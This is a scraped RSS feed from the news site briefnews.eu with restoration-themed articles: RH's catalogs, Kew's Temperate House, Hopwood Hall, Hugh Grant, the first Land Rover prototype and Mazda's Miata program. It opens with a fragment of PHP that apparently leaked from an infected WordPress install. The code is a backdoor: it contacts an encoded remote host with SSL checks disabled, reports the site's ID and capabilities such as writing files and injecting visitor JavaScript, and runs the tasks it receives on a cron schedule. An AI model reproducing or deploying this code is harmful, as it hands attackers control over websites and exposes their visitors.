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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Restoration – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 14 Sep 2022 09:51:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Restoration – Brief News https://briefnews.eu 32 32 Why the Restoration Hardware Catalog Won’t Die https://briefnews.eu/why-the-restoration-hardware-catalog-wont-die/ https://briefnews.eu/why-the-restoration-hardware-catalog-wont-die/#respond Wed, 14 Sep 2022 09:51:41 +0000 https://briefnews.eu/why-the-restoration-hardware-catalog-wont-die/ When you enter the RH (formerly Restoration Hardware) megastore in New York City’s Meatpacking District, you might think it’s a place to buy furniture. Technically it is, with tens of thousands of square feet filled with dining-room sets and king-size beds and couches, upholstered in shades of gray and beige and beiger, and accessorized with plush rugs and metal-armed lamps. Or maybe you’ll mistake it for a hotel lobby, with its high ceilings, ample seating, and smiling concierge.

But on either side of the store’s broad central path, you’ll see its true spiritual, if not practical, purpose: as a temple to the high-end furniture chain’s infamous “source books.” On twin circular tables large enough for an extended family’s Thanksgiving dinner (yours for $ 7,995 each), eight different editions sit in neat stacks and offer inspiration tailored to ski chalets, beach getaways, or nurseries for rich babies, depending on the tome. Bathed in golden light from enormous $ 12,000 chandeliers, the gods of direct-mail marketing beckon enticingly from their “carbonized split bamboo” altars.

The biggest of RH’s 2019 catalogs was 730 glossy pages—from a few feet away, you might think it’s the September issue of Vogue. The company would not reveal how much it spends on the lavish compendiums, but in 2012, an industry expert estimated that they would require a multimillion-dollar budget, with each individual book costing as much as $ 3 to print and ship—a figure that doesn’t include the tab for photography or page design. RH’s catalogs, and its price points, were similar to Pottery Barn’s and Crate & Barrel’s until the late aughts, when the source books and opulently appointed stores began to be introduced. Both are part of what longtime Chairman and CEO Gary Friedman has described as a strategy to project abundance and turn the heads of wealthy customers; apparently, it’s worked. In 2001, the company was teetering on the edge of bankruptcy. While there have been bumps along the way, RH’s sales since then have increased dramatically, and in December its stock price hit an all-time high.

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All the pageantry for catalogs might seem puzzling, given that print media and retail stores are struggling to compete with the infotainment hub of the smartphone. But although the number of catalogs mailed in America has fallen since its high of 19 billion in 2007, an estimated 11.5 billion were still sent in 2018. As retailers become ever more desperate to find ways to sell their stuff without tithing to the tech behemoths, America might be entering a golden age of the catalog.

“The rumors of my demise are greatly exaggerated,” says Hamilton Davison, the executive director of the American Catalog Mailers Association, which advocates for things like favorable postage rates and tax rules. “Isn’t that what Mark Twain said?” In the late 2000s, a change in federal regulation raised mailing prices for catalogs, and as online shopping accelerated in the years afterward, a lot of companies abandoned catalogs in favor of email and social-media strategies targeting younger consumers. Those retailers included companies known for their direct-mail products, such as JCPenney, whose catalog had figured prominently in its branding since 1963 but was discontinued in 2010.

Five years later, though, the JCPenney catalog was back, in defeated recognition that the physical world still matters. “You can’t make me open your email, you can’t make me open your website, you can’t make me go to your retail store, but you can send a large-format mail piece I have to pick up,” Davison says. “It’s invasive, but it’s welcome.” Davison has a vested interest in the future of the format, of course, but his claims are borne out by research suggesting that even though catalogs typically arrive unbidden, consumers find them less presumptuous and irritating than marketing emails. “The internet is too much like work,” Davison says, while catalogs feel more like play. “The internet is great if you know what you’re looking for,” he adds, “but it’s a lousy browsing vehicle.” Instead of being followed around online for days by ads for a product you already ordered (or considered and ruled out), you can peruse catalogs at your leisure and disengage fully when you’re done. It’s so analog, it almost feels wholesome.

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Around the same time that JCPenney was returning to mailboxes, catalogs began gaining favor among newer companies. “You can think about a catalog as a push versus a pull,” says Matt Krepsik, the global head of analytics for Nielsen’s marketing-effectiveness arm. “On the internet, I just have to hope that Matt discovers my website. When I send Matt a catalog, I’m reaching out to him one-to-one.”

Another benefit: Catalog-mailers can “prospect” by sending their books to whomever they choose, but most email-marketing services require retailers to gain consent from recipients. That’s partly because sending marketing emails without permission is illegal in some countries and partly because it’s against the rules of some internet- and email-service providers—businesses risk having everything they send algorithmically disregarded as spam.

Although the average catalog costs about a dollar per copy to produce and ship, compared with pennies per email, Krepsik says that they’re particularly effective at prompting large purchases (up to twice as expensive as those made by noncatalog shoppers) and luring back customers after first purchases. Higher receipts and consumer loyalty are exactly what a plucky upstart needs to become a standard-bearer—or for a long-standing business to fight back against Amazon.

The story of the Vermont Country Store is the opposite of the now-familiar cautionary tales of businesses too slow to cater to the desires of youth. “We were still printing a black-and-white catalog in 2000,” says Eliot Orton, one of three brothers who now own the business started by their grandfather in 1946. “We slowly migrated to color, even doing a watercolor treatment to the sketches we were doing at the time.” The store’s catalog, sent seasonally, with special editions for the holidays, is now full of color photography, but no one would mistake it for a concession to American marketers’ obsession with youth. Its comfy nightgowns, flannel bed linens, and old-school candies and baked goods are straight out of a Norman Rockwell fantasia.

Not only does the company curate its products for an older demographic, but the structure of its business, which still allows people to order by phone or send in a form with a check, could have easily become a thing of the past. A substantial number of Americans, however, still lack reliable high-speed internet or credit services, and many older people just don’t trust the internet, a suspicion that’s arguably justified. “We spent the last 30 years agonizing over whether there was a cliff, and whether the audience we were serving would evaporate and not be replaced,” Cabot Orton says. But new customers keep aging into the store’s market. You don’t have to be very old, after all, to grow tired of trying to keep up with technology—just ask any 30-something American still trying to decide whether to download TikTok. No one has to be taught how to flip through a catalog.

Even if the majority of a company’s orders are made online, as the Vermont Country Store’s now are, catalogs provide an important opportunity for businesses whose appeal goes beyond super-fast service at super-low prices. The store is a family business whose employees, from photographers to warehouse workers, all live nearby. The brothers often turn up in the catalog, modeling plaid shirts, and everyone picks up shifts answering phones during the busy holiday season. This is a company that constantly reminds you that it’s still possible to buy some of what you need from people who aren’t trying to eliminate competitors or extract every last bit of value from employees or colonize the moon. That kind of context is lost entirely when a nightgown appears in Google’s shopping tab, alongside less expensive alternatives from Walmart.

A host of internet-first start-ups, such as the makeup brand Glossier and the menswear company Bonobos, have boarded the catalog bandwagon in the past decade. These companies had thrived on direct-to-consumer websites and social-media advertising but needed new strategies to make a more complete case for their business.

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That’s especially true for a very modern subgenre of company that seeks to attract socially conscious young people with a mix of activism, philanthropy, and sales. The brand Cotopaxi, which uses recycled materials to make things like backpacks and jackets, is among them. The outdoor-gear purveyor shoots its catalogs in adventure-travel spots in conjunction with local nonprofits, including, most recently, Escuela Nueva, which provides education to indigenous people and refugees in South America. The organizations receive modest grants from Cotopaxi, as well as coverage in the company’s catalog and the rights to use the material for their own fundraising. “It’s hard to tell that story over [social media] sometimes,” says Annie Agle, Cotopaxi’s director of brand and impact. “It can feel callous; there’s not a lot of time, and you’re fighting for attention.” Catalogs, in their own way, are antiviral—they’re not easily shared, and they offer depth and explanation. If the catalogs in your mailbox have started to look more like magazines, that’s why.

Still, consumers worried about waste and climate change might bristle at receiving paper mail when they could be reached digitally. Agle says she understands that concern, but notes that upwards of 90 percent of an apparel company’s carbon footprint happens before a garment is sewn, because the manufacture and transportation of textiles is extremely expensive and wasteful. So that, she says, is where most of Cotopaxi’s efforts at waste reduction have gone.

Even if paper sent through the mail is an imperfect medium, it still might be the best way for independent businesses to avoid getting sucked into the Amazon-Google-Facebook vortex—and for internet-weary consumers to avoid seeing the whole world through the filters of the Big Three’s algorithms. “Something we talk about a lot is data-privacy issues,” Agle says. “Obviously electronic advertising is more sustainable, but it’s not necessarily better for society.”

This article appears in the March 2020 print edition with the headline “Why Restoration Hardware Sends Catalogs the Size of a Toddler.”

]]> https://briefnews.eu/why-the-restoration-hardware-catalog-wont-die/feed/ 0 Restoration Hardware tumbles after saying it’ll prioritize earnings over revenues (RH) https://briefnews.eu/restoration-hardware-tumbles-after-saying-itll-prioritize-earnings-over-revenues-rh/ https://briefnews.eu/restoration-hardware-tumbles-after-saying-itll-prioritize-earnings-over-revenues-rh/#respond Wed, 05 Sep 2018 14:46:36 +0000 http://briefnews.eu/restoration-hardware-tumbles-after-saying-itll-prioritize-earnings-over-revenues-rh/ Restoration hardwareAP

Restoration Hardware shares are down more than 10% Wednesday after the high-end furniture retailer delivered earnings that beat on profits but missed on sales. The company also raised full-year guidance for earnings per share but trimmed its estimate for revenues.

The home-furnishings company reported adjusted earnings of $ 2.49 per share in the second-quarter, nearly four times that of last year and well above the $ 1.75 that was expected by Wall Street, according to Bloomberg data. Sales totaled $ 642 million — up 4% from last year’s $ 615 million — but that missed the $ 660 million that analysts were anticipating.

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]]> https://briefnews.eu/restoration-hardware-tumbles-after-saying-itll-prioritize-earnings-over-revenues-rh/feed/ 0 Kew Gardens reopens world's largest greenhouse after £41 MILLION restoration https://briefnews.eu/kew-gardens-reopens-worlds-largest-greenhouse-after-41-million-restoration/ https://briefnews.eu/kew-gardens-reopens-worlds-largest-greenhouse-after-41-million-restoration/#respond Thu, 03 May 2018 17:05:58 +0000 http://briefnews.eu/kew-gardens-reopens-worlds-largest-greenhouse-after-41-million-restoration/

Richard Barley, director of horticulture at Royal Botanic Gardens Kew, said: “It’s been amazing watching this project unfold, the building emerge gloriously and some of the world’s rarest plants safely reach their home.

“The Temperate House is a glistening cathedral where the new glass allows the sun to stream in and the ironwork has been restored to its glossy best.”

The famous establishment welcomes over 1.35 million people a year, covering 300 acres of plant-life.

With over 36 Grade II listed structures, it was also established as a UNESCO World Heritage Site in 2003.

It one of London’s top attractions, and was voted the best in London in 2016, according to AttractionTix.co.uk. It beat London Eye, the Shard and even Big Ben to the top spot.

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]]> https://briefnews.eu/kew-gardens-reopens-worlds-largest-greenhouse-after-41-million-restoration/feed/ 0 From Hollywood to Rochdale: Actor Hopwood DePree's restoration challenge https://briefnews.eu/from-hollywood-to-rochdale-actor-hopwood-deprees-restoration-challenge/ https://briefnews.eu/from-hollywood-to-rochdale-actor-hopwood-deprees-restoration-challenge/#respond Thu, 05 Apr 2018 11:11:57 +0000 http://briefnews.eu/from-hollywood-to-rochdale-actor-hopwood-deprees-restoration-challenge/

When Hollywood actor-director Hopwood DePree was growing up in the US state of Michigan, his exotic name was the source of a good deal of grief.

“Kids would beat me up when they found out my real name,” he says. “They said I should have been named Bob. Or Steve.”

Things got so bad that he decided to call himself Tod instead.

But in later life he learned to embrace his “weird” name after discovering that he had been given it as part of a family tradition aimed at keeping alive their links to a distinguished line of English gentry that had lived in a 60-room stately home near Manchester for centuries. 

Last September he took the extraordinary decision to sell his home in Los Angeles (which enjoys 12 hours of sun a day in April) and move to Lancashire (21 days of rain) spurred on by a dream of restoring the crumbling ruin to its former glory.

“My grandfather used to talk about Hopwood Hall when I was a boy but I always thought he was telling a fairy tale,” he says.

“Years later I was living in LA and one night while looking online at an ancestry website I was amazed to realise Hopwood Hall was real and still standing.

“I sent an email and the next day I had responses saying the hall was in need of help and wondering if I would be coming to England any time soon.”

The director of TV film Gordo’s Road Show – and once named among “20 People To Know” by The Hollywood Reporter – duly booked a flight to Manchester to scope out the house for himself.

It must have made for a depressing sight. Burglars had stolen the lead from the roof with the result that rainwater had been leaking in for years.

Thieves had also made off with parquet flooring and York stone paving. Walls were covered in graffiti and much of the woodwork had dry rot. DePree was not discouraged, however.

“The first time I walked into Hopwood Hall I was blown away by how old it was – dating to at least 1426 and perhaps earlier. I was taken into a room with intricate wood carvings in the oldest part of the hall and learnt that this is where my 14th great-grandfather was born. I was completely moved.”

In its heyday the Grade II-listed manor house employed 28 gardeners to maintain its parkland, gardens, ice house and grotto and hosted guests of the stature of Lord Byron. When the invitations went out for George V’s coronation in 1911, Colonel ERG Hopwood of the Lancashire Hussars was on the list.

But after the two last remaining heirs to Hopwood Hall were killed in the First World War, it gradually fell into disrepair.

Meanwhile, DePree’s branch of the family had settled in the US in the 1700s and, at the time the American War of Independence broke out in 1775, Moses Hopwood was running a plantation 20 miles from one owned by George Washington.

When the first US president needed an aide-de-camp, he settled on Moses’ son John, who went on to serve Washington throughout the eight-year conflict.

The Hopwood surname was lost in the late 19th century when Alcinda Hopwood married one Newton Black but, as we have seen, male heirs were christened Hopwood to remind them of their roots.

Fast forward a century or so and our hero is determined to revive the ancient family seat. “I was told that experts estimated the hall would be lost within five to 10 years unless something was done to save it,” says DePree, 47.

“I immediately felt a strong obligation – thinking if I am the only Hopwood currently on earth in a position to save it, then I must.”

After signing a deal with the current owner, Rochdale Council, that gives him three years to put in place a financial plan for its renovation and transformation into a centre for the arts, he moved to the UK on a three-year visa.

There were some teething problems, notably when he was laughed out of a local chippie for trying to pay for a pie with his American Express card, but he insists the area is “one of those places where I instantly feel at home”.

He moved into a rented house near the home and hopes to be living there soon. “I am refurbishing a small flat in the hall that will be a temporary living accommodation. Living there will provide an extra layer of security as well as create new life and energy at the hall.”

His priorities are to stabilise the building and make it weather-proof. He has roped in various local colleges to help. 

Students at Manchester School of Architecture are working on renovation proposals. Horticulturalists at Hopwood College are helping with the garden and he is in talks with the college’s bricklaying course to use its apprentices to help rebuild the boundary walls.

He has received £276,000 from Historic England and Rochdale Borough Council for emergency works and he plans to raise the £6-£10million he will need to complete the project through a combination of grants, donations and private equity funding.

“Moving to England has been a huge life change but I love it,” he says.

“I’m open to experiencing British life. I’m now a tea drinker, I like fish and chips and I bought a waxed coat, wellies and a cap.” And of course an umbrella.

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]]> https://briefnews.eu/from-hollywood-to-rochdale-actor-hopwood-deprees-restoration-challenge/feed/ 0 Hugh Grant: ‘Robert Downey Jr HATED me when we shot Restoration, I was so hurt’ https://briefnews.eu/hugh-grant-robert-downey-jr-hated-me-when-we-shot-restoration-i-was-so-hurt/ https://briefnews.eu/hugh-grant-robert-downey-jr-hated-me-when-we-shot-restoration-i-was-so-hurt/#respond Mon, 15 Jan 2018 11:23:11 +0000 http://briefnews.eu/hugh-grant-robert-downey-jr-hated-me-when-we-shot-restoration-i-was-so-hurt/

The two stars worked together 22 years ago on the Oscar-winning period drama, Restoration.

Now the 57-year-old Brit has revealed how he believes the Iron Man actor had a problem with him.

Speaking with People, Grant said: “[He] hated me. We did a thing called Restoration, and he took one look at me and wanted to kill me.”

“I don’t know. I was so hurt.”

However Downey Jr has since reached out on Twitter to Grant, to make up.

The 52-year-old American tweeted: “A lot has happened over two decades! I respect how Mr. Grant has matured as an artist & voice against violations of privacy. 

“Let’s break bread together soon @HackedOffHugh! #burythehatchet2018.”

Grant replied: “Thanks, @RobertDowneyJr. Nice way to kick off the year. And yes, if you’re in London come by and break bread. 

“Won’t be easy as my 5 year old bakes it, but you seem strong. Respect. #burythehatchet2018.”

The star played the villain Phoenix Buchanan, a washed up actor, in Paddington 2.

Meanwhile Downey Jr has wrapped on Avengers 4, which will be released in 2019.

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Seventy-year-old automobiles are rare. Unrestored 70-year-old automobiles are even rarer. Even rarer still are the “barn finds,” lost and forgotten automobiles discovered after years, often decades, of neglect and decay in some obscure barn or warehouse. But even among barn finds, one almost never finds the very first example of its kind, let alone one as significant as this: the first Land Rover ever, according to Land Rover itself, which the artisans and engineers at Jaguar Land Rover Classic are commencing to restore as part of Land Rover’s 70th anniversary activities in 2018.

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Technically speaking, this 1948 preproduction prototype would be considered a “garden find,” which sounds like a term the British might use instead of “barn find,” but in this case, it appears to be true. According to Land Rover, the rusty old truck (named Huey, allegedly) was one of three Land Rover prototypes that were shown at the 1948 Amsterdam auto show, and it had been missing for more than 60 years before being found in 2016 in some chap’s garden just a few miles away from the Solihull, England, location where it was built all those decades ago. As one of the original launch vehicles, this one features thicker aluminum body panels, a removable rear tub, and a galvanized chassis. Land Rover considers it the world’s most historically significant unrestored Land Rover. We won’t argue with that characterization.

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Once Huey came to Land Rover’s attention, the company’s historians set about unearthing its past, though one look would suggest that it has spent a lot of time outdoors. According to the timeline Land Rover produced about this vehicle, most of its time seems to have been spent in the United Kingdom, much of it sedentary, apparently being used in Wales as a “static power source” from 1968 until the engine seized 20 years later.

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Jaguar Land Rover Classic’s restoration efforts are expected to be ongoing through 2018 and will be “sympathetic” in nature, with the goal of making it drivable again whilst retaining the patina of its components, including as much of what little of its original light green paint remains.

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Incidentally, previous owners have been invited to the Jaguar Land Rover Classic Works “to share their experiences and to witness its loving restoration.” If you would like to check in on its loving restoration, too, it will be well documented on Land Rover’s Instagram (@LandRover). We’ll likely also check in on Huey, once the restoration is complete.

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The Morning Watch is a recurring feature that highlights a handful of noteworthy videos from around the web. They could be video essays, fanmade productions, featurettes, short films, hilarious sketches, or just anything that has to do with our favorite movies and TV shows.

In this edition, try not to cry when you see everything Mr. Poopybutthole has to be thankful for in a Rick and Morty short. Plus, learn about the restoration of movie props and animatronics, and find out all the ways Justice League is similar to Marvel’s The Avengers.

In a touching short, Rick and Morty fan favorite character Mr. Poopybutthole is thankful for the wonderful life he has had, including a wife and son, and even a couple lovely pets. It’s infinitely more touching than you might think it will be, so be prepared to shed a tear or two as you spend time with your own family this week.

Next up, Adam Savage and the crew from Tested went to the workshop of Tom Spina where he’s made a business of repairing, restoring and preserving props and various artifacts from movies and TV shows. In this tour of the workshop, Adam and Tom talk about how they restore various props, including a close-up look at the restoration of one of the animatronic puppets created by Rick Baker for for Gremlins 2.

Finally, the folks at ScreenCrush run through the many ways that Justice League is similar to Marvel’s The Avengers. We’re not just talking about the simple fact that each of the movies is about a superhero team facing some kind of alien threat. There are infinitely more similarities between the two comic book movies.

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Mazda is joining the ranks of Mercedes-Benz and Lamborghini by starting its own factory restoration service in Japan. The subject, of course, is the iconic MX-5 Miata, specifically the original NA generation that first launched in 1989. For now, Mazda says it’s only offering the restoration program for customers in its home market, but there may be some reissued parts made available elsewhere, including the United States.

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We don’t yet know how much the restorations will cost, and the treatment will vary greatly depending on the condition of the customers’ cars. Mazda says it will meet individually with each customer and tailor the restoration to each individual car. Orders open up this year for NA MX-5 owners in Japan, with restorations set to start at the beginning of 2018.

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Even if Miata owners outside Japan won’t be able to participate in the factory restoration, this is still good news for Miata fanatics elsewhere. Mazda plans to restart production on certain NA Miata parts, including Bridgestone tires in the original 185/60R-14 size, the Nardi wood steering wheel and shift knob, and the original soft top, meaning that these items might be available to buy elsewhere. We are still investigating the details about where you can buy these goodies, but that only gives us the excuse to write about Miatas again soon, so stay tuned for more news on this restoration project as Mazda gets things started over the next few months.

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